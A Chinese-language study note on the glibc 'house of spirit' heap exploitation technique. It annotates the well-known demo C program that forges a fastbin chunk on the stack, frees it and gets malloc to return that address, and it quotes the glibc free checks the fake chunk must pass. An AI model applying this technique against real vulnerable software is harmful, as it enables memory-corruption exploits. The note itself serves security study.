house_of_spirit
:将一个地址伪造成符合fast bin大小的chunk,将其释放进fastbin中,同时伪造其中的fd指针,达到任意地址分配
伪造的chunk的大小,为什么是fast bin大小范围内的chunk?
get_max_fast
的chunk,在_int_free
函数中,会chunk的的地址做检查,绕不过去 nextchunk = chunk_at_offset(p, size); // 【1】如果伪造的chunk不在堆中,那nextchunk也不做堆中
/* Lightweight tests: check whether the block is already the
top block. */
if (__glibc_unlikely(p == av->top))
{
errstr = "double free or corruption (top)";
goto errout;
}
/* Or whether the next chunk is beyond the boundaries of the arena. */
// 【2】这里的if检查就绕不过去
if (__builtin_expect(contiguous(av) && (char *)nextchunk >= ((char *)av->top + chunksize(av->top)), 0))
{
errstr = "double free or corruption (out)";
goto errout;
}
#include <stdio.h>
#include <stdlib.h>
int main()
{
fprintf(stderr, "This file demonstrates the house of spirit attack.\n");
fprintf(stderr, "Calling malloc() once so that it sets up its memory.\n");
malloc(1); // 【1】
fprintf(stderr, "We will now overwrite a pointer to point to a fake 'fastbin' region.\n");
unsigned long long *a;
// This has nothing to do with fastbinsY (do not be fooled by the 10) - fake_chunks is just a piece of memory to fulfil allocations (pointed to from fastbinsY)
unsigned long long fake_chunks[10] __attribute__ ((aligned (16))); // 【2】
fprintf(stderr, "This region (memory of length: %lu) contains two chunks. The first starts at %p and the second at %p.\n", sizeof(fake_chunks), &fake_chunks[1], &fake_chunks[9]);
fprintf(stderr, "This chunk.size of this region has to be 16 more than the region (to accommodate the chunk data) while still falling into the fastbin category (<= 128 on x64). The PREV_INUSE (lsb) bit is ignored by free for fastbin-sized chunks, however the IS_MMAPPED (second lsb) and NON_MAIN_ARENA (third lsb) bits cause problems.\n");
fprintf(stderr, "... note that this has to be the size of the next malloc request rounded to the internal size used by the malloc implementation. E.g. on x64, 0x30-0x38 will all be rounded to 0x40, so they would work for the malloc parameter at the end. \n");
fake_chunks[1] = 0x40; // this is the size // 【3】
fprintf(stderr, "The chunk.size of the *next* fake region has to be sane. That is > 2*SIZE_SZ (> 16 on x64) && < av->system_mem (< 128kb by default for the main arena) to pass the nextsize integrity checks. No need for fastbin size.\n");
// fake_chunks[9] because 0x40 / sizeof(unsigned long long) = 8
fake_chunks[9] = 0x1234; // nextsize // 【4】
fprintf(stderr, "Now we will overwrite our pointer with the address of the fake region inside the fake first chunk, %p.\n", &fake_chunks[1]);
fprintf(stderr, "... note that the memory address of the *region* associated with this chunk must be 16-byte aligned.\n");
a = &fake_chunks[2]; // 【5】
fprintf(stderr, "Freeing the overwritten pointer.\n");
free(a); // 【6】
fprintf(stderr, "Now the next malloc will return the region of our fake chunk at %p, which will be %p!\n", &fake_chunks[1], &fake_chunks[2]);
fprintf(stderr, "malloc(0x30): %p\n", malloc(0x30));
}
【1】目的
因为是要释放伪造的chunk,在伪造chunk释放后需要挂到bins中,需要有堆管理器相关的结构体
【2】目的
需要绕过对chunk地址的对其检查
if (__glibc_unlikely(size < MINSIZE || !aligned_OK(size)))
{
errstr = "free(): invalid size";
goto errout;
}
【3】目的
__libc_free
会根据chunk的IS_MMAPPED
位,判断是通过munmap_chunk
进行释放,还是通过_int_free
进行释放
if (chunk_is_mmapped(p)) /* release mmapped memory. */
{
/* see if the dynamic brk/mmap threshold needs adjusting */
if (!mp_.no_dyn_threshold && p->size > mp_.mmap_threshold && p->size <= DEFAULT_MMAP_THRESHOLD_MAX)
{
mp_.mmap_threshold = chunksize(p);
mp_.trim_threshold = 2 * mp_.mmap_threshold;
LIBC_PROBE(memory_mallopt_free_dyn_thresholds, 2,
mp_.mmap_threshold, mp_.trim_threshold);
}
munmap_chunk(p);
return;
}
ar_ptr = arena_for_chunk(p);
_int_free(ar_ptr, p, 0);
当然,下面这样写都可以
fake_chunks[1] = 0x40;
fake_chunks[1] = 0x41;
【4】目的
为了绕过伪造的chunk,虚拟地址相邻下面的chunk大小检查
if (__builtin_expect(chunk_at_offset(p, size)->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect(chunksize(chunk_at_offset(p, size)) >= av->system_mem, 0))
chunk a溢出写chunk b的size位,释放chunk b,再申请回chunk b,达到读写chunk c内容的目的
在栈中伪造chunk,释放chunk后,伪造chunk的fd,再经过两次申请达到任意地址分配